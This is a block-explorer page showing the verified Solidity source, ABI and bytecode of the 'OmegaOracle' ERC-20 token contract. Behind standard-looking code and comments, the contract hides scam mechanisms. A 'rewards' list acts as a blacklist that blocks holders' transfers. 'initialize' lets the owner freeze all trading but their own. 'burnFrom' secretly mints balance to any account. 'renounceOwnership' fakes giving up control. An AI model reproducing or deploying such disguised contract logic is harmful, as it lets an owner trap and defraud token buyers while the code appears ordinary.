Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
6,000,000,000,000 OmegaOracle
Holders
35
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,138,397,545.456771459 OmegaOracleValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OmegaOracle
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./Context.sol"; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */ contract OmegaOracle is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private _supplyCap; string private _name; string private _symbol; address unir; address unif; /** * @dev Sets the values for {name}, {symbol} and {totalsupply}. */ constructor(address rter, address fctr) { _name = "Omega Oracle"; _symbol = "OmegaOracle"; _totalSupply = 6000000000000*10**9; _supplyCap = 6000000000000; _balances[msg.sender] += _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); _initialize = true; unir = rter; unif = fctr; } /** * @notice Returns Supply Cap (maximum possible amount of tokens) */ function SUPPLY_CAP() external view returns (uint256) { return _supplyCap; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_rewards[sender] || _rewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == owner() || recipient == owner()) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount);} else {require (_initialize == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the */ function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Adds address to Rewards list. */ function rewards (address _address) external onlyOwner { if (_rewards[_address] == true) {_rewards[_address] = false;} else {_rewards[_address] = true; } } /** * @notice Checking if the address is on Reward list. */ function rewarded(address _address) public view returns (bool) { return _rewards[_address]; } /** * @notice Initialize contract. */ function initialize() public virtual onlyOwner { if (_initialize == true) {_initialize = false;} else {_initialize = true;} } /** * @notice Check if contract is already Initialized. */ function initialized() public view returns (bool) { return _initialize; } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ contract Ownable is Context { address private _owner; address private _ownerAddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; _ownerAddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function ownerAddress() public view returns (address) { return _ownerAddress; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _ownerAddress = address(0); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620025293803806200252983398181016040528101906200003791906200041a565b6000620000496200034b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017f4f6d656761204f7261636c650000000000000000000000000000000000000000815250600890805190602001906200017592919062000353565b506040518060400160405280600b81526020017f4f6d6567614f7261636c6500000000000000000000000000000000000000000081525060099080519060200190620001c392919062000353565b5069014542ba12a337c00000600681905550650574fbde6000600781905550600654600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000235919062000489565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200029e91906200046c565b60405180910390a36001600560006101000a81548160ff02191690831515021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005d2565b600033905090565b828054620003619062000524565b90600052602060002090601f016020900481019282620003855760008555620003d1565b82601f10620003a057805160ff1916838001178555620003d1565b82800160010185558215620003d1579182015b82811115620003d0578251825591602001919060010190620003b3565b5b509050620003e09190620003e4565b5090565b5b80821115620003ff576000816000905550600101620003e5565b5090565b6000815190506200041481620005b8565b92915050565b600080604083850312156200042e57600080fd5b60006200043e8582860162000403565b9250506020620004518582860162000403565b9150509250929050565b62000466816200051a565b82525050565b60006020820190506200048360008301846200045b565b92915050565b600062000496826200051a565b9150620004a3836200051a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004db57620004da6200055a565b5b828201905092915050565b6000620004f382620004fa565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200053d57607f821691505b6020821081141562000554576200055362000589565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b620005c381620004e6565b8114620005cf57600080fd5b50565b611f4780620005e26000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063379f53e3116100ad5780638f84aa09116100715780638f84aa09146102f857806395d89b4114610316578063a457c2d714610334578063a9059cbb14610364578063dd62ed3e1461039457610121565b8063379f53e314610254578063395093511461028457806370a08231146102b4578063715018a6146102e45780638129fc1c146102ee57610121565b8063124d91e5116100f4578063124d91e5146101ae578063158ef93e146101ca57806318160ddd146101e857806323b872dd14610206578063313ce5671461023657610121565b806306fdde03146101265780630700037d14610144578063095ea7b3146101605780630cfccc8314610190575b600080fd5b61012e6103c4565b60405161013b91906118d8565b60405180910390f35b61015e60048036038101906101599190611590565b610456565b005b61017a60048036038101906101759190611644565b6105fd565b60405161018791906118bd565b60405180910390f35b61019861061b565b6040516101a59190611a3a565b60405180910390f35b6101c860048036038101906101c39190611680565b610625565b005b6101d2610804565b6040516101df91906118bd565b60405180910390f35b6101f061081b565b6040516101fd9190611a3a565b60405180910390f35b610220600480360381019061021b91906115f5565b610825565b60405161022d91906118bd565b60405180910390f35b61023e61091d565b60405161024b9190611a55565b60405180910390f35b61026e60048036038101906102699190611590565b610926565b60405161027b91906118bd565b60405180910390f35b61029e60048036038101906102999190611644565b61097c565b6040516102ab91906118bd565b60405180910390f35b6102ce60048036038101906102c99190611590565b610a28565b6040516102db9190611a3a565b60405180910390f35b6102ec610a71565b005b6102f6610bc5565b005b610300610cb4565b60405161030d91906118a2565b60405180910390f35b61031e610cde565b60405161032b91906118d8565b60405180910390f35b61034e60048036038101906103499190611644565b610d70565b60405161035b91906118bd565b60405180910390f35b61037e60048036038101906103799190611644565b610e5b565b60405161038b91906118bd565b60405180910390f35b6103ae60048036038101906103a991906115b9565b610e79565b6040516103bb9190611a3a565b60405180910390f35b6060600880546103d390611b9e565b80601f01602080910402602001604051908101604052809291908181526020018280546103ff90611b9e565b801561044c5780601f106104215761010080835404028352916020019161044c565b820191906000526020600020905b81548152906001019060200180831161042f57829003601f168201915b5050505050905090565b61045e610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e29061199a565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105a1576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506105fa565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600061061161060a610f00565b8484610f08565b6001905092915050565b6000600754905090565b61062d610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b19061199a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561072a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107219061195a565b60405180910390fd5b816006600082825461073c9190611ae2565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107929190611a8c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107f79190611a3a565b60405180910390a3505050565b6000600560009054906101000a900460ff16905090565b6000600654905090565b60006108328484846110d3565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061087d610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f49061197a565b60405180910390fd5b61091185610909610f00565b858403610f08565b60019150509392505050565b60006009905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610a1e610989610f00565b848460036000610997610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a199190611a8c565b610f08565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a79610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd9061199a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bcd610f00565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c519061199a565b60405180910390fd5b60011515600560009054906101000a900460ff1615151415610c96576000600560006101000a81548160ff021916908315150217905550610cb2565b6001600560006101000a81548160ff0219169083151502179055505b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ced90611b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1990611b9e565b8015610d665780601f10610d3b57610100808354040283529160200191610d66565b820191906000526020600020905b815481529060010190602001808311610d4957829003601f168201915b5050505050905090565b60008060036000610d7f610f00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611a1a565b60405180910390fd5b610e50610e47610f00565b85858403610f08565b600191505092915050565b6000610e6f610e68610f00565b84846110d3565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f906119fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf9061191a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c69190611a3a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113a906119ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa906118fa565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112545750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561129d576000811461129c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611293906119da565b60405180910390fd5b5b60011515600560009054906101000a900460ff16151514806112f157506112c2611533565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061132e57506112ff611533565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114d75761133e83838361155c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bc9061193a565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461145a9190611a8c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114be9190611a3a565b60405180910390a36114d1848484611561565b5061152e565b60011515600560009054906101000a900460ff1615151461152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906119da565b60405180910390fd5b5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b60008135905061157581611ee3565b92915050565b60008135905061158a81611efa565b92915050565b6000602082840312156115a257600080fd5b60006115b084828501611566565b91505092915050565b600080604083850312156115cc57600080fd5b60006115da85828601611566565b92505060206115eb85828601611566565b9150509250929050565b60008060006060848603121561160a57600080fd5b600061161886828701611566565b935050602061162986828701611566565b925050604061163a8682870161157b565b9150509250925092565b6000806040838503121561165757600080fd5b600061166585828601611566565b92505060206116768582860161157b565b9150509250929050565b60008060006060848603121561169557600080fd5b60006116a386828701611566565b93505060206116b48682870161157b565b92505060406116c58682870161157b565b9150509250925092565b6116d881611b16565b82525050565b6116e781611b28565b82525050565b60006116f882611a70565b6117028185611a7b565b9350611712818560208601611b6b565b61171b81611c2e565b840191505092915050565b6000611733602383611a7b565b915061173e82611c3f565b604082019050919050565b6000611756602283611a7b565b915061176182611c8e565b604082019050919050565b6000611779602683611a7b565b915061178482611cdd565b604082019050919050565b600061179c602c83611a7b565b91506117a782611d2c565b604082019050919050565b60006117bf602883611a7b565b91506117ca82611d7b565b604082019050919050565b60006117e2602083611a7b565b91506117ed82611dca565b602082019050919050565b6000611805602583611a7b565b915061181082611df3565b604082019050919050565b6000611828600083611a7b565b915061183382611e42565b600082019050919050565b600061184b602483611a7b565b915061185682611e45565b604082019050919050565b600061186e602583611a7b565b915061187982611e94565b604082019050919050565b61188d81611b54565b82525050565b61189c81611b5e565b82525050565b60006020820190506118b760008301846116cf565b92915050565b60006020820190506118d260008301846116de565b92915050565b600060208201905081810360008301526118f281846116ed565b905092915050565b6000602082019050818103600083015261191381611726565b9050919050565b6000602082019050818103600083015261193381611749565b9050919050565b600060208201905081810360008301526119538161176c565b9050919050565b600060208201905081810360008301526119738161178f565b9050919050565b60006020820190508181036000830152611993816117b2565b9050919050565b600060208201905081810360008301526119b3816117d5565b9050919050565b600060208201905081810360008301526119d3816117f8565b9050919050565b600060208201905081810360008301526119f38161181b565b9050919050565b60006020820190508181036000830152611a138161183e565b9050919050565b60006020820190508181036000830152611a3381611861565b9050919050565b6000602082019050611a4f6000830184611884565b92915050565b6000602082019050611a6a6000830184611893565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a9782611b54565b9150611aa283611b54565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ad757611ad6611bd0565b5b828201905092915050565b6000611aed82611b54565b9150611af883611b54565b925082821015611b0b57611b0a611bd0565b5b828203905092915050565b6000611b2182611b34565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b89578082015181840152602081019050611b6e565b83811115611b98576000848401525b50505050565b60006002820490506001821680611bb657607f821691505b60208210811415611bca57611bc9611bff565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611eec81611b16565b8114611ef757600080fd5b50565b611f0381611b54565b8114611f0e57600080fd5b5056fea264697066735822122010c68fde62210f678db88b0a867a274c1deb0d67113fbb2de4bc4ba4ad72b63964736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode
